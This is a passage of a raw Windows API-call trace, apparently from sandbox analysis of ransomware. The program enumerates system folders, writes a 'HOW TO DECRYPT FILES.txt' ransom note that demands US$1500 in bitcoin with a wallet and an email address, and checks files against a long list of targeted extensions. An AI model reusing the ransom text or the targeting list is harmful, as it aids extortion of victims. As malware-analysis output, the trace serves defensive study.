nFileSizeLow=0x108800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IdentityModel.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.001] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.001] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57dcafcd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x57dcafcd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x57dcafcd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b4c60dd01be760ee0452df2c040de8fc", cAlternateFileName="B4C60D~1")) returned 0 [0106.001] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.001] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89224b99, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89224b99, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89224b99, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.IO.Log", cAlternateFileName="SYSTEM~1.LOG")) returned 1 [0106.001] lstrcmpA (lpString1=".", lpString2="System.IO.Log") returned -1 [0106.001] lstrcmpA (lpString1="..", lpString2="System.IO.Log") returned -1 [0106.002] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.002] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.IO.Log" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log" [0106.002] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log") returned 60 [0106.002] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89224b99, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89224b99, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89224b99, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.002] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.002] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89224b99, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89224b99, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89224b99, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.002] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.002] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.003] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89224b99, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89224b99, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89224b99, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="19837bdc62b7667aba81364142e3565a", cAlternateFileName="19837B~1")) returned 1 [0106.003] lstrcmpA (lpString1=".", lpString2="19837bdc62b7667aba81364142e3565a") returned -1 [0106.003] lstrcmpA (lpString1="..", lpString2="19837bdc62b7667aba81364142e3565a") returned -1 [0106.003] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\*.*") returned="*.*" [0106.003] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\", lpString2="19837bdc62b7667aba81364142e3565a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a" [0106.003] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a") returned 93 [0106.003] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89224b99, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89224b99, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89224b99, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.003] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.003] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89224b99, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89224b99, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89224b99, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.003] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.003] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.003] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x891664b8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x891664b8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8918c618, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x5d200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IO.Log.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.003] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.003] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IO.Log.ni.dll") returned -1 [0106.004] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IO.Log.ni.dll") returned -1 [0106.004] lstrcmpiA (lpString1="", lpString2="System.IO.Log.ni.dll") returned -1 [0106.004] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\*.*") returned="*.*" [0106.004] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\" [0106.004] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\") returned="" [0106.004] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\HOW TO DECRYPT FILES.txt" [0106.004] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.io.log\\19837bdc62b7667aba81364142e3565a\\how to decrypt files.txt")) returned 0xffffffff [0106.004] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.io.log\\19837bdc62b7667aba81364142e3565a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.005] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0106.005] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0106.007] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.007] CloseHandle (hObject=0x90) returned 1 [0106.007] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\", lpString2="System.IO.Log.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll" [0106.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.ems") returned 0 [0106.007] lstrlenA (lpString="*.ems") returned 5 [0106.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.db") returned 0 [0106.007] lstrlenA (lpString="*.db") returned 4 [0106.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.dbf") returned 0 [0106.008] lstrlenA (lpString="*.dbf") returned 5 [0106.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.myox") returned 0 [0106.008] lstrlenA (lpString="*.myox") returned 6 [0106.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.myo") returned 0 [0106.008] lstrlenA (lpString="*.myo") returned 5 [0106.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.qbw") returned 0 [0106.008] lstrlenA (lpString="*.qbw") returned 5 [0106.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.qbb") returned 0 [0106.008] lstrlenA (lpString="*.qbb") returned 5 [0106.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.qbm") returned 0 [0106.008] lstrlenA (lpString="*.qbm") returned 5 [0106.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.qbo") returned 0 [0106.008] lstrlenA (lpString="*.qbo") returned 5 [0106.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.qbx") returned 0 [0106.008] lstrlenA (lpString="*.qbx") returned 5 [0106.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.qba") returned 0 [0106.009] lstrlenA (lpString="*.qba") returned 5 [0106.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.qby") returned 0 [0106.009] lstrlenA (lpString="*.qby") returned 5 [0106.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.qbj") returned 0 [0106.009] lstrlenA (lpString="*.qbj") returned 5 [0106.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.ofx") returned 0 [0106.009] lstrlenA (lpString="*.ofx") returned 5 [0106.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.qif") returned 0 [0106.009] lstrlenA (lpString="*.qif") returned 5 [0106.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.mye") returned 0 [0106.009] lstrlenA (lpString="*.mye") returned 5 [0106.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.mbox") returned 0 [0106.009] lstrlenA (lpString="*.mbox") returned 6 [0106.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.eml") returned 0 [0106.009] lstrlenA (lpString="*.eml") returned 5 [0106.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.pst") returned 0 [0106.009] lstrlenA (lpString="*.pst") returned 5 [0106.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.ost") returned 0 [0106.009] lstrlenA (lpString="*.ost") returned 5 [0106.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.idx") returned 0 [0106.010] lstrlenA (lpString="*.idx") returned 5 [0106.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.dbx") returned 0 [0106.010] lstrlenA (lpString="*.dbx") returned 5 [0106.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.sql") returned 0 [0106.010] lstrlenA (lpString="*.sql") returned 5 [0106.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.mdb") returned 0 [0106.010] lstrlenA (lpString="*.mdb") returned 5 [0106.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.fdb") returned 0 [0106.010] lstrlenA (lpString="*.fdb") returned 5 [0106.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.wab") returned 0 [0106.010] lstrlenA (lpString="*.wab") returned 5 [0106.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.dat") returned 0 [0106.010] lstrlenA (lpString="*.dat") returned 5 [0106.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.txt") returned 0 [0106.010] lstrlenA (lpString="*.txt") returned 5 [0106.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.jpeg") returned 0 [0106.010] lstrlenA (lpString="*.jpeg") returned 6 [0106.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.jpg") returned 0 [0106.010] lstrlenA (lpString="*.jpg") returned 5 [0106.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.png") returned 0 [0106.010] lstrlenA (lpString="*.png") returned 5 [0106.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.php") returned 0 [0106.011] lstrlenA (lpString="*.php") returned 5 [0106.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.cs") returned 0 [0106.011] lstrlenA (lpString="*.cs") returned 4 [0106.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.cpp") returned 0 [0106.011] lstrlenA (lpString="*.cpp") returned 5 [0106.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.rar") returned 0 [0106.011] lstrlenA (lpString="*.rar") returned 5 [0106.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.zip") returned 0 [0106.011] lstrlenA (lpString="*.zip") returned 5 [0106.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.html") returned 0 [0106.011] lstrlenA (lpString="*.html") returned 6 [0106.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.htm") returned 0 [0106.011] lstrlenA (lpString="*.htm") returned 5 [0106.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.xlsx") returned 0 [0106.011] lstrlenA (lpString="*.xlsx") returned 6 [0106.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.xls") returned 0 [0106.011] lstrlenA (lpString="*.xls") returned 5 [0106.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.mp4") returned 0 [0106.011] lstrlenA (lpString="*.mp4") returned 5 [0106.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.ppt") returned 0 [0106.011] lstrlenA (lpString="*.ppt") returned 5 [0106.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.pptx") returned 0 [0106.011] lstrlenA (lpString="*.pptx") returned 6 [0106.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.doc") returned 0 [0106.012] lstrlenA (lpString="*.doc") returned 5 [0106.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.dot") returned 0 [0106.012] lstrlenA (lpString="*.dot") returned 5 [0106.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.docx") returned 0 [0106.012] lstrlenA (lpString="*.docx") returned 6 [0106.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.7z") returned 0 [0106.012] lstrlenA (lpString="*.7z") returned 4 [0106.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.tar") returned 0 [0106.012] lstrlenA (lpString="*.tar") returned 5 [0106.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.bz2") returned 0 [0106.012] lstrlenA (lpString="*.bz2") returned 5 [0106.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.gz") returned 0 [0106.012] lstrlenA (lpString="*.gz") returned 4 [0106.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.mkv") returned 0 [0106.012] lstrlenA (lpString="*.mkv") returned 5 [0106.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.eml") returned 0 [0106.012] lstrlenA (lpString="*.eml") returned 5 [0106.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.msg") returned 0 [0106.012] lstrlenA (lpString="*.msg") returned 5 [0106.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.edb") returned 0 [0106.012] lstrlenA (lpString="*.edb") returned 5 [0106.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.accdb") returned 0 [0106.012] lstrlenA (lpString="*.accdb") returned 7 [0106.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.odb") returned 0 [0106.012] lstrlenA (lpString="*.odb") returned 5 [0106.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.java") returned 0 [0106.013] lstrlenA (lpString="*.java") returned 6 [0106.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.asm") returned 0 [0106.013] lstrlenA (lpString="*.asm") returned 5 [0106.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.pfx") returned 0 [0106.013] lstrlenA (lpString="*.pfx") returned 5 [0106.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.pem") returned 0 [0106.013] lstrlenA (lpString="*.pem") returned 5 [0106.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.p12") returned 0 [0106.013] lstrlenA (lpString="*.p12") returned 5 [0106.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.gpg") returned 0 [0106.013] lstrlenA (lpString="*.gpg") returned 5 [0106.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.vsd") returned 0 [0106.013] lstrlenA (lpString="*.vsd") returned 5 [0106.013] PathMatchSpecA 